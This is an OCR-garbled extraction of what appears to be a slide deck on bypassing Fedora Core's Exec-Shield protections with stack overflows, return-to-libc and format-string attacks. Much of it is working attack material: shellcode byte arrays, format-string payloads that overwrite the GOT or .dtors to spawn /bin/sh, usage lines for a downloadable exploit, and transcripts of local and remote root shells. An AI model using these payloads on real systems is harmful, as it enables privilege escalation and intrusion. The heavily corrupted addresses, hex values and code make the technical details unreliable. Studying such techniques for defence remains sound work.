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1. History of Buffer Over Flow Attack

1) Attack on Red Hat Linux 6.x x86 *BSD O/S

Normal stack overflow attack
- Phrack 49-14: Smashing The Stack For Fun And Profit (Aleph one)
http://www.phrack.org/archives/49/P49-14

Frame Pointer attack
- Phrack 55-08: The Frame Pointer Overwrite (klog)
http://www.phrack.org/archives/55/P55-08

2) Changes on Red Hat Linux 7.x kernel

- Using setuid(), setreuid() shellcode

- Blocking general frame pointer off-by-one attack by adding dummy space between buffer
and frame pointer since gcc version 2.96

3) Changes on Red Hat Linux 9.x kernel

- random stack function enabled, Mapping the stack at different place on every execution of
the program.



1. History of Buffer Over Flow Attack

(1) Occupying the randomized position of shellcode by brute-force attack.

There was a possibility to relocate the return address to where it was when the program
was debugged. Because of the narrow extent of randomized address.

while [ 1 1 ; do ./exploit 1000 ; done

(2) Locating the shellcode at the beginning of the stack.

Inserting shellcode as the last argument of execve function which is
an environment variable. By doing this, shellcode will always have static
location at the beginning of the stack, starting with address of OxcO0000000 -4

execve ([PATH],[ARGUMENT], [ENVIRONMENT VARIABLE]);




1. History of Buffer Over Flow Attack

(3) jmp Y%esp attack.

Presumable attack especially when there is a writable place after the return address.

It is a possibility that %esp register points very next location of return address
when “ret” process occur after leaving at epilogue, therefore, attack code could

be executed.

leave

, mov %ebp,%esp
; pop %ebp

ret

, POP %eip

imp %esp

[xxxx...xxxx] [xxxx] [imp %esp][shellcode ... ]
ebp eip(ret) ret+4




1. History of Buffer Over Flow Attack

(4) Changes on early Fedora Core system

- non-execute random stack function added
Shellcode execution by using stack disabled and more abstruse way to randomize
stack has been realized.

- return to library attack.
Call the function directly not by executing sehllcode. It is based on the PaX attack studied
by Solar Designer and Nergal

[xxxx...xxxx] [xxxx] [execl()] [dummy][argv1][argv2] [argv3]
ebp eip(ret)




1. History of Buffer Over Flow Attack

- Contents about non-executable stack, inception of Return to Library attack :

« Getting around non-executable stack (and fix) —
http://seclists.org/lists/bugtrag/1997/Aug/0063.html

» Defeating Solar Designer non-executable stack patch —
http://seclists.org/lists/bugtrag/1998/Feb/0006.html

- Introductory document about Return to library :

« The Omega Project Finished —
http://community.corest.com/~juliano/lmagra-omega.txt

- Advanced Return to library attack:

» Phrack 58-4: http://www.phrack.org/archives/58/p58-0x04



2. Changes on Fedora Core Execshield system

Fedora Core is a part of Fedora project run by Redhat co. (Http://fedora.redhat.com)
unlike existing Redhat system, It provides special anti buffer overflow solution called
Execshield

- Introduction of Execshield

1) Non-execute stack, partial non-execute heap (non-executable stack, heap)
Blocking exploits that overwrite data structure or insert code in the structure
Blocking stack, buffer, and function pointer overflow

Let the heap space that allocated by malloc() and stack and data space have a
non-execute status



2. Changes on Fedora Core Execshield system

2) Memory structure less than 16mb (NULL pointer dereference protection)

It makes address structure less than 16m by re-mapping all PROT_EXEC mapping
values in ASCIl-armor by kernel. Because of the reason that old overflow attack uses
4bytes address value, this re-mapping to under 16mb makes address to have NULL
value which makes attacks such as return to library non-executable

[root@localhost ~]# cat fproc/self/maps

B86a20068-006a3088 r-xp
BA6F70008-00871108688 r-xp
B8711086-0868712088 r-xp
B8712086-08713088 rwxp
B8715000-088390808 r-xp
BBE30006-0883bAAA r-xp
BB83bABB-00883dABA ruxp
BEE3d0B6-0883F0BA ruwxp
BEB4E0B6-0204dAAA r-xp
BEA4d0B6-0804e BB ruw-p
B80a?000-0880cafbdd ruw-p
b7d?bBAB-b7F2bBBA r--p
b7 Ff2bBAB-b7FPCcBBA ruw-p
b7fa58a8-b7fab@ea ruw-p
bff218868-bffacBea rw-—p
[root@localhost ™]#

BB6a20608
ABagvaea
gae19008
dog1a008
ABagBA0a
ge1240808
ag126000
geg3doeon
gooeBe0a
gooehB08
B8 0a%0808
AaaoBana
b7 fobBaa
b7faS 8060
bffo1860

aa:
fd:
fd:
fd:
fd:
fd:
fd:
aa:
fd:
fd:
aa:
fd:
aa:
aa:
aa:

8

1419790
141979
141979
141988
141988
141988
8

162124
162124
8

619316

/lib/1d-2.3.5.
f1ibf1d-2.3.5.
f1ibf1d-2.3.5.
/lib/1libc-2.
f1ibf1ibc-2.
/lib/1libc-2.

fhinfcat
fbinfcat

[heap]
fusrflibflocaleflocale-archive

[stack]



2. Changes on Fedora Core Execshield system

3) More effective random stack, random library memory allocation.

It is a technique that allocate a different memory address on every single execution.
It is a better randomized memory allocation system which is harder to predict than
that of Redhat 9.0.

4) PIE compile
PIE is an initial for Position Independent Executables which is similar concept of PIC.

This function also protects executables from being exploited by memory related
attacks such as buffer overflow



2. Changes on Fedora Core Execshield system

1) General way to guess random stack

Run vulnerable executable as a child process and run a normal program that has same
memory structure as a parent process. By doing this several times, attacker can get a
presumable stack address.

- Defects:

(1) Hacker need to calculate all the size of attack code and argument value because the
address of environmental variable is related with those materials.

(2) This vulnerability has to be exploited only on local environment, because the
vulnerable executable is run as a child process.



3. Experiment in local random stack
on Fedora core system

Random stack experiment

Executing the executable more than 2 times, You can see that the stack address
varies on every execution.

{gdb) br main

Breakpoint 1 at 0x804836e

{gdb) r »xxxx

Starting program: ~vvar/tmp/strcpy xxxx

(no debugging symbols found)...[no debugging symbols found)...
Breakpoint 1, 0x0804836e in main ()

{gdb) x/x $ebp

Oxfeefchf8: Oxfeefcbd8

{gdb) x/x $esp

Oxfeefcbf0: 0x00000000

(gdb) r

The program being debugged has been started already.

Start it from the beginning? (yorn) y

Starting program: ~vvar/tmp/strcpy xxxx

(no debugging symbols found)...[no debugging symbols found)...
Breakpoint 1, 0x0804836e in main ()

{gdb) x/x $ebp

Oxfef34f08: Oxfef341638

{gdb) x/x $esp

Oxfef34f00: O0x00000000

(gdb)




3. Experiment in local random stack
on Fedora core system

Exploiting Random stack

By executing two similarly made programs at the same time, we can confirm that those two
Programs’s stack addresses are not match at all.

[root@@localhost test]# cat test.c

int maing

{
char buf]8];
printf{"™%pwn",&buf);

[root@localhost test]# cat test].c

int main(

£
char buf[8];
printf{("%p\n",&buf);

3

[root@@localhost test]# .ftest ;

Oxfefe1910

OxfefdSad0

[root@localhost test]# ftest ;

Oxfefb5360
Oxfef21490

[root@@localhost test]# .ftest ;

Oxfeaedeb10
Oxfefffs0

[root@@localhost test]# ftest ;

Oxfefd32d0
Oxfefes3al
[root@localhost test]#

Jtestl

JStestl

JStestl

Jtestl




3. Experiment in local random stack
on Fedora core system

But when the vulnerable program is executed as a child process, and repeating
the execution several times, the two program’s stack addresses are match and

you can predict the vulnerable program’s return address.

[root@@localhost test]# cat test.c
int mainf)
i
char bufl8];
printf{"% pin, &buf);
execl(”.  ftest1™,"test1™,0);

[root@@localhost test]# cat test1.c
int maing
i

char buf[8];

printf{"% pin™, &buf);
3
[root@@localhost test]# .ftest
Oxfee9ci
Dxfef13240
[root@@localhost test]# .fiest
Dxfefch3dO
Oxfefd9800
[root@@localhost test]# .ftest
OxfeebOdd90
Oxfef@3010
[root@@localhost test]# .fiest
Oxfeff99d0
Oxfef4 d830
[rootEiocalhost tactlis Mt )
Oxfeeae17iD
Oxfece170 <———EUSHE
[root@@localhost test]# ./ftest
DOxfee3ds10
DxfFef38 e 70
[root@@localhost test]#




4. Format String Attack Under Execshield

1) GOT, PLT overwrite

A technique to execute a desired command by overwriting GOT, executed after
exploiting format string vulnerability, with a function that can run a command.

* Phrack 56-05 - BYPASSING STACKGUARD AND STACKSHIELD
http://www.phrack.org/archives/56/p56-0x05

 TESO scut - Exploiting Format String Vulnerabilities
http://www.eecg.toronto.edu/~lie/downloads/formatstring-1.2.pdf

» cOntex - How to hijack the Global Offset Table with pointers for root shells



4. Format String Attack Under Execshield

- GOT and PLT

Global Offset Table is a place that stores the real function address after execution.

PLT is a Procedure Linkage Table that has real function call code and by referring to this
It can make the real system library call. (it doesn’t perform every time but the very first
time and after that , it only refers to the contents of GOT)

In short, It is a table used to call real system library address.



4. Format String Attack Under Execshield

- GOT and PLT

Those whose types are R_386_JUMP_SLOT play important role in
referencing PLT.

int main()

char buf]]=""23000YY Y™
scanf|"%s",buf);
printf{%s",buf);

1

[root@MewbieServer test]# objdump --dynamic-reloc scanf
scanf: file format elf32-i386

DYNAMIC RELOCATION RECORDS

OFFSET TYPE WVALUE

D80494dc R 386 GLOB_DAT _ gmon_start_
080494c8 R 386 JUMP SLOT _ register frame_info
080494cc R_38B6_JUMP_SLOT scanf

080494d0 R_386 JUMP _SLOT _ deregister frame_info
080494d4 R_386_JUMP_SLOT _ libc_start_main
080494d3 R_386 JUMP_SLOT printf

[roobt@MewbieServer test]#




4. Format String Attack Under Execshield

- GOT and PLT

Below is the PLT area. With the command “objdump —h”, hacker may easily know
where the PLT is located

(gdb) disass scanf

Dump of assembler code for function scant:
0x804830c <scanf>: jmp *0Ox80494cc

0x8048312 =scanf+6>: push $0x38

O0x8048317 <scanf+11>: jmp 0x80482ec < _init+48>
End of assembler dump.

(gdb) disass printf

Dump of assembler code for function printf:
O0x804833c <printf>: jmp *0xB80494d8

0x8048342 <printf+6>; push %0x20

O0x8048347 <printf+11>: jmp O0x80482ec < _init+48>
End of assembler dump.

(gdb)

Above is the content of the PLT before execution. “push” determines which
function to run.



4. Format String Attack Under Execshield

- GOT and PLT

Itis _dl _runtime_resolve function’s role to acquire system library function’s address
and put it into GOT (at the first execution). Besides, it was _dl_runtime_resolve
function’s argument value that pushed last page. By enumerating R_386 _JUMP_SLOT
in order, you can get information below. And by using this information as a argument
of _dl_runtime_resolv function, the desired function will be called.

080494c8 R_386_JUMP_SLOT __register_frame_info - 0x0
080494cc R_386_JUMP_SLOT scanf — 0x8
08049400 R_386_JUMP_SLOT __deregister_frame_info — 0x10
080494404 R_386_JUMP_SLOT __libc_start_main — 0x18

080494d8 R_386_JUMP_SLOT printf - 0x20




4. Format String Attack Under Execshield

- GOT and PLT

As the fallowing , all the memories are allocated to PLT in order.

(gdb) x/20 0x8048312-20 (push part of function scanf)

0x80482fe <__register_frame_infot2>: 0x080494c8

0x804830e <scanf+2>: 0x080494cc 0x00000868

AvAvAs A AU AL A A A A A

0x804831e <__deregister_frame_infot+2>:0x080494d0
0x804832¢ <__libc_start_maint2>: 0x080494d4

0x804833e <printf+2>:  0x080494d8 0x00002068

v v v A A A A

Cannot access memory at address 0x804834a.
(gdb)

0x00000068 Oxffe0e900 Ox25ffffff
~~~~~~~~~~ (push $0x0)
Oxf fd0e900 Ox2hffffff

(push $0x8)
0x00001068 Oxffc0e900 Ox25ffffff
~~~~~~~~~~ (push $0x10)
0x00001868 Oxffb0e900 Ox25ffffff
~~~~~~~~~~ (push $0x18)
Ox f fa0e900

(push $0x20)

Linux has different way to execute a function between the first execution and the

future executions.




4. Format String Attack Under Execshield

- GOT and PLT

* The first execution :

1. scanf function call

2. Move to PLT

3. Move to GOT that points “push” code’s address.
4. dl_runtime_resolve

5. Jump to real function address after saving GOT.

* Future executions :

1. scanf function call

2. Move to PLT

3. Function address is already saved in GOT =» jump to function



4. Format String Attack Under Execshield

- GOT and PLT

Contents of PLT and GOT before calling scanf function.

(gdb) disass 0x804830c

Dump of assembler code for function scanf:
0x804830c <scanf>: jmp *Dx80494cc

0xB048312 <scanf+6>: push $0xB

0xB8048317 <scanf+11>: jmp 0x80482ec < init+48>
End of assembler dump.

(gdb)

{gdb) x 0x80494cc

0xB0494cc < GLOBAL_OFFSET TABLE +16>: 0x08048312 < |lppcnci e L s
(gdb) x/x 0xD8048312

0x8048312 <scanf+6>: 0x000008G8 <

(gdb)




4. Format String Attack Under Execshield

-GOT and PLT
Flow after calling scanf function

(1) PLT of scanf jump to GOT from 0x0804830c at the beginning.

(2) In GOT(0x080494cc), there is a pointer that points push code, and by inserting a
argument to that push code, let it refer to a code that is in 0x8.

(3) Get a library function’s address and put it into GOT ,then ,finally, jump to
function to execute and run the function.

(gdb) x/x 0x080494cc _

0x80494cc < GLOBAL OFFSET TABLE +16>: 0x400686f1 <=[RaLCURISEICIURIEERUEN
saved in GOT by
_dl_runtime_resolve

(gdb) x/x 0x400686F4

E DN T EHE D WE TR L BB Real address of scanf as we expected. ©

(gdb)




4. Format String Attack Under Execshield

- Overwriting GOT with System function

[Summary]

By overwriting GOT with command executable function’s address, Hacker can execute
desirable function without referring to PLT.

{

}

int main(int argc,char *argv[])

char buf[256];
strcpy(buf,argv[1]);
printf(buf);
printf(buf);

Practical format string vulnerabilities in
repeating codes are case of this.

— Attack command:

[format string attack codel;/bin/sh;

Change GOT of printf to system function at the first execution. At next execution,
argv[1] which is used as a argument of printf is executed as a command.
[format string attack code] will be ignored and “/bin/sh” will be executed
through semicolon.



4. Format String Attack Under Execshield

- Overwriting GOT with popen function.

If the address value that passed to fopen function as a argument is controllable, that
means the program is exploitable. During the exploitation, hacker need to know the
address of _10_new_popen function, origin function of popen function.

fgets(buf,sizeof(buf)—1,stdin);

orintf(buf):
fflush(stdout);
printf("'s contents:Wn");

if((fo=fopen(buf,"r"))==NULL)
{

[rooti@localhost tmp]# gcc -0 fopen fopen.c
[rooti@localhost tmp]# .ffopen
input file name: /etc/redhat-release

fetc/redhat-release’s contents:
Fedora Core release 3 (Heidelberg)
[root@localhost tmp]#




4. Format String Attack Under Execshield

- Overwriting GOT with popen function.

Acquiring GOT of fopen and origin function of popen

[rooti@localhost tmp]# objdump --dynamic-reloc fopen | grep fopen

fopen: file format elf32-i386

080498bc R 386 JUMP SLOT fopen

[root@localhost tmp]# qdb -q fopen

(gdb) r

Starting program: ~var/tmp/fopen

(no debugging symbols found)...[no debugging symbols found)...input file name: test
test's contents:

fopen error

Program exited with code 0377.

{gdb) x/x 10 new popen

0xf6f0c100 <popen@@@GLIBC 2.1>: 0x56e58955
(g9db)

GOT of fopen : O0x08049850
Starting address of _|O_new_popen(origin function of popen) : 0xf6f0c10



4. Format String Attack Under Execshield

- Overwriting GOT with popen function.

Change fopen address to that of popen’s origin function by format string attack code.
tail ‘/bin/sh’ command on the attack code and execute the argument itself as a command.

[rooti@localhost tmpl# (echo “printf "uwh o984 DB x b etx98 ' w04 D8 ™ "4 9400
H12'Nn%13808Bx% 13 \%n:/bin/sh™:catl | ./fopen

ML HEIUEREH [ format string attack codel;/bin/sh;

fBfdb720;/bin/sh's contents:
sh: %49400x%12%13808x%13: command not found
id
uid=0{root) gid=0(root) groups=0{root),1{bin),2{daemon),3(sys).4[{adm).6(disk),10[wheel)
exit

[root@localhost tmpl#




4. Format String Attack Under Execshield

- Overwriting GOT with popen function.

[rooti@localhost timp]# cat > fetc/xinetd.dftest
service tfido
{
disable = no
flags = REUSE
socket type = stream
wait = no
user = root
server = fvarfimp/ffopen
3}
[rooti@localhost tmp]# killall -HUP xinetd
[rooti@localhost imp]# netstat -an | grep 60177
tcp 0 0 0.0.0.0:60177 0.0.0.0:* LISTEN
[rooti@localhost tmp]#
[rooti@localhost timp]# (echo “printf "uxb 98\ w04 w08 b el w9804 w08 " Y% 4 94 00
%122 En%13808x% 13 \%n;/binfsh™;cat) | nc localhost 60177

fofdb720;/binfshsh: %49400x"%12%13808x%13: command not found
T |
‘s contents:
uid=0(root) gid=0({root)
uname -a
Linux localhost 2.6.9-1.667Fsmp #1 SMP Tue Nowv 2 14:59:52 EST 2004 i686 i686 i386 GNU/Linux
cat fetcfredhat-release
Fedora Core release 3 (Heidelberg)
exit

[rooti@localhost tmp]#




4. Format String Attack Under Execshield

2) Exploit with a shellcode under Fedora Core 3

[Summary] Locate a shellcode on the heap by format string attack, and change return
address to execute hacker’s shellcode.

Advantage : Not depend on O/S environment, so it can be transplanted to other
system easily.

Disadvantage : Payload size for attack is big, so not fit to attack with small size of buffer.
Can not use head area to exploit under Fedora Core 4,5



4. Format String Attack Under Execshield

- Finding Shellcode executable area

[root@localhost tmpl# cat wuln.c
int main{int argc.char zargwvl[])

char bufl[1024] :
strecpy{buf aravi11);
printf{buf

printfi{ %n~ ],

[root@localhost tmpl# gcc —o wuln wuln.c

[root@localhost tmpl# gdb —q wuln

{no debugging symbols fuund} ..Using host libthread_db library

“flib/tis/libthread_db.so.1"

{(gdb) br main

Breakpoint 1 at 0=x80483a9

{adbh) r

Starting program:- Stap/vuln

{no debugging svmbols fuund] .{no debugging symbols found). ..
i 1. O0=x0830483a9 in laln

gdb —q wuln
[root@localhost tmpl# ps —ef | garep vuln | grep —v grep
root 10178 10138 0O 17:-20 pts/Al 00-00-00 gdb —a wuln
root 1019 10178 0 17-20 ptsAl 0O0-00-00 Atmpsfvuln
[root@localhost tmpl# cat Aproc/10179/maps
08048000-083049000 r—=p O0O0O0OO0OOO fd-0O0O 311375 FtmpsSvuln
O03049000-0804a000 re—p OO0OOOO00OO00O fd-00 311375 FtmpSvuln
fEeb TOO0—f6eb8000 rew—p {fGeb57O000 O0-00 O
fEeb8000-f6fd9000 r—=xp 00000000 fd:-00 2654273 |Ihft|5f

fdA000—f&6fdbO00 r—p OO120000 fd-00 26542778 li

db0OO0O—f&fdd000 re—p 00122000 fd-00 26542778 li
ddOO0—f6fdfO00 re—p f6fdd000 OO0O-00 0O
eg9000—f&6f fedld0 r—=p O0OO0O0OOO0O fd-00 2654223 li
fe0DO—f6fffO00 r—p OOO014000 fd-00 2654223 li
ffO0D0O—fFO00000 re—p OOMS5000 fd-00 2654223 li
AaDOO—f fO00000 re—p feedal00 OO-00 0O
fe0DO—fffffO00 ———p OOOOOOO0O OO:-00 O
ot@localhost tmpl#

lib 3.3.s0
lib 3.3.s0
lib 3.3.s0

—=2.
—2.
—=2.
5
5
s

cC—
cC—
cC—
J.so
J.s50o
3 o

ol Wplupluplup)upfuy

T
=R

Result of Process maps



4. Format String Attack Under Execshield

- Finding Shellcode executable area

Write code below will load the code on the heap area using function pointer and
execute the code.

[root@localhost tmpl# cat > write.c

char write[]l={
Oxeb,0x1%7, 0x5e, 0x31, 0xc0, Oxb0, 0x04, Ox31,
Oxdb, 0xb3, 0x01, 0x89, 0= 11, 031, 0xd?2, Oxb?,
Ox0b, Oxcd, 0x80, 0x31, 0xc0, 0xb0, 0x01 , Oxcd,
Ox80, Oxe8, Oxed, Oxff,0=1f,0=1ff,0x58, 0x70,
Oxb6c, 0x30, 0231, 0x3%, 0x45, 0x6c, 0x¥a, Ox0a

int main(){
void (+funx){)=(void +)write:
printf{ funx{): Xp¥n~, funx):
funx():

¥
[root@localhost tepl# g9cc —o write write.c
[root@localhost tapl# ./write

funx{): DxB80495e0

ipl0O17ElZ

[root@localhost tapl#




4. Format String Attack Under Execshield

- Finding Shellcode executable area

[root@localhost tmpl# gdb —a write

{no debugging syvmbols found).. . Using host libthread_db library
“FAlibstIsSlibthread_db.so. 17 .

{adb)}) disass 0O=x8049%5e0
BUEED355335E-hler Eude for funcaigadagiaei oE
= e <write+0=: imp = “writes R 1 i i
D endoney sEritesh>: jmp i Starting point of write shellcode
O0=0804495e3 <writes+3>-: xOor Xeax, Xeax
O0=x080495e5 «<write+5>: mOYv $0=4,.Xal
O0=08049%eF <writes+"F>= =Or Xebx, Xebx
O0=080495%5e9 <write+9>-: mOY $0=1.%bl
O=0804495ebh <write+11z> BOY xesi . Xecx
O=08049%5ed <write+13= =Or Xed=, Xed=
O0=080495ef <write+15>: mOY $0=xb . X%dl
O0=080495f1 <writes+1%F>: int $0=80
O0=080495f3 <write+19=: xOr Eeax, Xeax
O=080495f5 «<writes+21>=: mOY
O0=080495f7F <write+23=- int
O0=080495f9 <write+25>=: cal O=80495e2 <write+2=>
O=080495fe <write+30=>: pop Xeax
O0=080495ff «<write+31>: Jio O=804966d
0=08049601 <write+33>: =Or 2dh. (Xecx)
O0=08049603 <write+35>- aaa
O0=08049604 <write+36>: inc =ebp
0=08049605 <write+37>: insh (Xd=).Xes-(Xedi)
O0=08049606 <writes+38>- ip O=804961 2
End of assembler dump.

{gdb) =/= 0=8049%e0

?HEE?QEED <“write>: 0=x315el1Teh

a

?HEE?BEE# <writes+4>: O=3104b0cO

aQ
O=8049%e8 <write+H>- O=8901b3db

{adb)

At the process maps, checked before, this area had “rw—p” attribution but it is
now executable.




4. Format String Attack Under Execshield

- Finding Shellcode executable area

{gdb) br main

Breakpoint 1 at 0=x804838a
(gdbh) r

Starting program: ftep/ferite

{no debugging svmbols found)...{no debugging symbols found)...

Breakpoint 1. 0x0804838a in main ()

{gdh)

[1]1+ Stopped gdb —q write

[root@localhost tmpl# ps —ef | grep write | grep —v grep
root 10211 10138 0 17:-28 pts/fl 00:00:-00 gdb —q write
root 10212 10211 0 17:28 pts/i 00:00:00 ftmpifwrite
[root@localhost tmpl# cat fproc/10212/maps

08043000-08049000 r—xp 00000000 fd-00 311373 Jtapiferite
03049000-0804a000 rw—p 00000000 fd:-00 311373 ftapiferite
feeb7000-f6ebB8000 rev—p fGeb7000 OO0-00 O
feebB000-f61d9000 r—xp 00000000 fd-00 2654278
fefd9000-f6fdb000 r—p 00120000 fd-00 2654278
f6fdb000—-f6fddD00 re—p 00122000 fd-00 2654278
fdd0D00O—f&fdfO000 re—p f6fdd00O0 OOD-00 O
fed000—f6f fedD0 r—=p O0000OODO0O0O fd-00 2654223
ffel0D—fGfffO00 r—p OOO014000 fd-00 2654223
fff000—f 7000000 re—p 00015000 fd-00 2654223
f9a000—f f000000 re—p fef9ad00 00:-00 O
ffte0DO—Ffffff000 ——p O0O0OOOOO OO-0O0 O
oot@localhost tmpl#

oo oo
-
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Base on the analyzed result, we found a shellcode executable area on heap.
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- How to input shellcode

With “%n” directive format string, we can input a value into a specific memory address.
Main idea of this exploit is to overwrite shellcode itself with format string technique.
We can run a shellcode when we overwrite function GOT or _ DTOR_END__ address
to that of shellcode on heap.
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- Real attack process

"Wx3 1WxcOWxbOWx 17" // setuid(0); / setuid(0);
"Wx3 1Wxdbtxcadix80 "

/* 24byte shellcode */ */
"Wx 3 1Hx cOWx 50X 68"
"Wx6etix2fitx73Wx68"
"Wx68Wx2 fitx2 fitx62"
"Wx 69X 8Mixe3Wx99"
"Wx52Wx 53 x89Mixe 1"
"WxbOWxObtx caitx80"

Trying to overwrite 8 times in total. And it concludes with a code that
overwrites shellcode address to “.dtors+4".
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- Real attack process

exploit payload:
[empty heap address][__DTOR_END__ location][%... shellcode format string code ...] [&shellcode address]

[x82@8localhost tmpl$ id
uid=500(x82) gid=h00(x82) groups=500(xB82)

[x620localhost tapl§ Is ~al vuln = " 1. Locate shellcode on heap address
[ e 0x080496dc

2. Overwrite &shellcode to .dtors+4
The address of shellcode(0x080496dc)
Is an empty space with NULL value and
It took some debugging process to find out

empty heap memory.

d 8049610
) 9id=500(x82) groups=500(x82)

sh—3.00# i
uid=0(root
sh—3. 00#
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- Real attack process

Exploit code: http://x82.inetcop.org/hOme/papers/data/0x82-shoverwrite.tgz

[x82@localhost tmpl$ id

uid=500{x82) gid=500(=x82) groups=500(=82)
[x82@localhost tmpl% cat wuln.c

int main{int argc.,char =argwvl])}

char bufl[1024] ;
strcpy(huf argv[l]},
printf{buf
printf{"%#n" ],

[x82@]localhost tmpl% gcc —o 0xB2-shoverwrite O0x82-shoverwrite.c
[xB2@localhost tmpl$ ./ 0282-shoverwrite

Usage:- ./0<82-shovererite [tyvpe]l] [argument]

local type: ./0x82—shoverwrite 0 [local program pathl
remote type:- ./0x82-shoverwrite 1 [.dtors address]

. f0x82—shoverwrite 0 ./vuln
. f0x82—shoverwrite 1 020304944

[=82@8localhost tmpl$ Is —al vuln
—resr—xr—x 1 root root 4865 Dec 11 1213 wuln
[x82@]l ocalhost tmpl$ . vuln ~ . /0<82-shoverwrite O .fvuln’

Trying local exploit :
./0x82-shoverwrite 0 [PATH of vulnerable program]

8049610
sh—3.00# id
wid=0{root) gid=500(x82) aroups=500(=82)

sh—3. 00#
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- Real attack process

Since we can easily know the remote memory address with format string attack.
We could find out that .dtors+4 is located in the address of 0x08049514.

[xB28localhost tmpl$ cat Jetc/xinetd.d/test

service tfido

disable = no
flags

socket _type
vait

user

SErver

REUSE Trying Remote attack :

stream

no ./0x82-shoverwrite 1 [.dtors+4 address]

root
Jtap/printf

¥
[xB2@localhost tmpl$ cat stepfprintf.c
#include <stdio.h>

int main()}
char buf[300]:
fgets({buf,.sizeof (buf)-1,stdin):
printf{buf);
printf(~#n");

}
[#x82@8localhost tepl$ (./0x82-shovererite 1 0x08049514; cat) | nc localhost

60177

Bo04did
uid=0{root) gid=0(root)
ped

uname -a
Linuz localhost 2.6.9-1.667sap #1 SHP Tue Hoy 2 14:59:52 EST 2004 i686 iG636
i386 GHU/Linux




4. Format String Attack Under Execshield

3) Exploit with a shellcode under Fedora Core 4, 5

[Summary] Locate shellcode on library by format string technique, and change the

return address to execute hacker’s shellcode.

[%82@FfcS5 tmp]y cat fproc/self/maps

8011e006-8011F 0080 r-xp 66112080 00: a [wdso]
G08bcadfb-B80be3 080 r-xp 00000080 fd: 1253921 f1ib/1d-2 . 4.
G0be3000-00bek 880 r-xp 00013080 fd: 1253921 f1ib/1d-2 . 4.
G0beLO00-00be5080 rwxp 00019080 fd: 1253921 f1ib/1d-2 . 4.
G0be7000-080d130680 r-xp 00000080 fd: 1243926 f1ib/1ibc-2.
G0d13006-80d1608680 r-xp 66812b0OBO fd: 1243926 f1ib/1ibc-2.
G0d160006-80d17 080 rwxp 668120080 fd: 1243926 f1ib/1ibc-2.
80d17000-080d1a880 rwxp O6d17080 00: a

A8 048000-0804d0060 r-xp 00000080 fd: LBLA199 /binfcat
G884d000-0804e 0080 rw-p 00004080 fd: LBLA199 /binfcat
BaB3f0B0-0aB608080 rw-p BaB3f008 BO: a [heap]
b7cfeB@8-b7efedBd r——-p BOBOBOBO fd: 3138222 fusr/lib/localeflocale-archive
b7efeB@B8-b7f00008 rw-p b7efeBBO 00: a

bf7fbBOB-bFf810068 rw-p bF7FbOBO B0: a [stack]
[282@Fc5 tmp]$ |}

Result of Process maps
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- Finding executable area

[x828fch ~1% cat > w¥rite.c
char writell=1{
O=xeb.,.0Ox17.0=x5e.0=x31.,.0=xc0, O0<b0, 0=x04, O0=x31 .
Oxdb.0D=b3,0x01.,0=x89,.0=xf1.0=x31.,0=d2, 0=xb2,
O0=x0b,0O=xcd. 0=x80,.0=x31.0=xc0, O0=<b0, 0=x01 ., 0=xcd.
0=80, 0=xe8, 0xed, D=xff,.0=xff,.0=<ff,0=58, 070,
O=x6c, 0=x30, 0=x31 . 0=x37.,. 0=x45, 0x6c ., OxFa. 0=x0a
int main{){
oid =)erite:
p¥n~ . funx):

¥

[*xB828fc5 ~1% gcc —o write write.c

write.c- In function ?ain?

'rit$6c:lﬂi warning:- incompatible implicit declaration of built—in function ?
rintf?

[=B2@fch ~]1% adb —q write

(gdb) r

Starting program: Fhome/=B82 vrite

Heaginﬂ symbols from shared object read from target memory...{no debugging
symbo

Is found)...done.

Loaded system supplied DS0O at O=xc52000

{no debugging symbols found)

{no debugging symbols found)

fun=x({): Dx80495cO

Program received signal S5IGSEGY. Segmentation fault.
O0=030483d2 in main

{gdb}) =/= 0=80495cD

0=x80495cO - 0x315e17eb

{gdb) where

YO0 O0=x080483dZ2 in main ()
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- Finding executable area

Unlike Fedora Core3 system, heap area execution is impossible under Fedora Core 4

and 5, but there are 3 library areas where read, write and execute are possible.

00be4000-00be5000 rwxp 00019000 fd:00 1243921
00d16000-00d17000 rwxp 0012e000 fd:00 1243926
00d17000-00d1a000 rwxp 00d17000 00:00 O

/lib/1d=2.4.s0
/lib/libc—2.4.s0

Since Fedora system uses under 16m address that includes NULL, it is very hard
to write or load certain data on library area with buffer overflow. So we need to
consider how to overwrite a specific data on NULL included address to create

shellcode on library area.
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- Finding Solution

Below is a general format string attack code that overwrites certain value on
non-NULL-included address. Below is a exploit payload.

ex:. 0x0086¢c0ec
General format string attack code : "WxecWxcOWx86Wx00WxeeWxcOWx86Wx00%00000x%n%00000x%n"

Code above will not work perfectly because there is a NULL value in the

address. Like this, it is very difficult to input certain value into a address that
has NULL value in it.
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- Finding Solution

#1. when there is too little to overwrite to retloc

When there is a NULL in retloc address, you can exploit by inputting retloc just once not
twice. This can be very useful when you can not enter continuous address or value but

the address is on stack and you can refer to the address.

0x41414141 == 1094795585
== (109479558 x 10 + 5)

0ll: 0x0086¢c0ec

General format string attack code: "WxecWxcOWx86Wx00WxeeWcOWx86Wx00%00000x%Nn%00000x%n"

Special attack code : "%109479558x%109479558x%109479558x%109479558x%109479558x% 1094795
58x%109479558x%109479558x%109479558x%109479563x%37W$n"+ printf "WxecWxcOWx86Wx00""

Or , "%999999999x%9479559x%$—flag format string n*printf "WxecWxcOWx86Wx00"
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- Finding Solution

#2. Brute force attack

Input NULL included retloc address into environment variable or program argument and
guess the randomly changed address. Most difficult thing is to predict changing address

of retloc
" A=BW0" r ' Env variable. ..
"C=DiHO" eI, | 0x{7004150
"HOSTNAME=test®0" B 50U THO" [| ... Envvariable. ..
"X82=Xp 1017E | zW0" " £ 7=abcdeli0” Oxf7004152
"SHELL=/bin/bashi0" . Env variable

These environment variable storage technique is a very efficient way to input
NULL into stack.
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- Finding Solution
#2. Brute force attack

By the NULL tagged each environment variable, we can input desired address retloc.

gdb} =/18s Bxbf9892+88

ixbf 309 F88: “SHLUL=2"

ixbF289F98: “HOME=/home /x82"

ixbf 09 FOF: “LOGHAME=x82"

ixbf28%Fab: “CUS_R3H=ss5h"

ixbF B2 Fbh7 : “LESSOPEN=] fusr/bin/lesspipe.sh %s™
BxbF289+d9: "G BROKEN FILEHAMES=1"

ixbf289fee: “fhome/x82/For™

BxbF2092Ffc:

BxbF209+FFd:

BxbFo02Ffe:

gdb} =/18x 8xbf989F88+7

BxbF209F8F Bx4dsf4808 BxO082F3dus Bx2Fo56d6F B: 88323878
AxbF209F2F ; Bxbheh7 4Fhe Bx3d 45 4d 0xAA323878 x5 535643
Axhf202Far: Bx3d4B85352 B AALRBTITI




4. Format String Attack Under Execshield

- Finding Solution

#2. Brute force attack

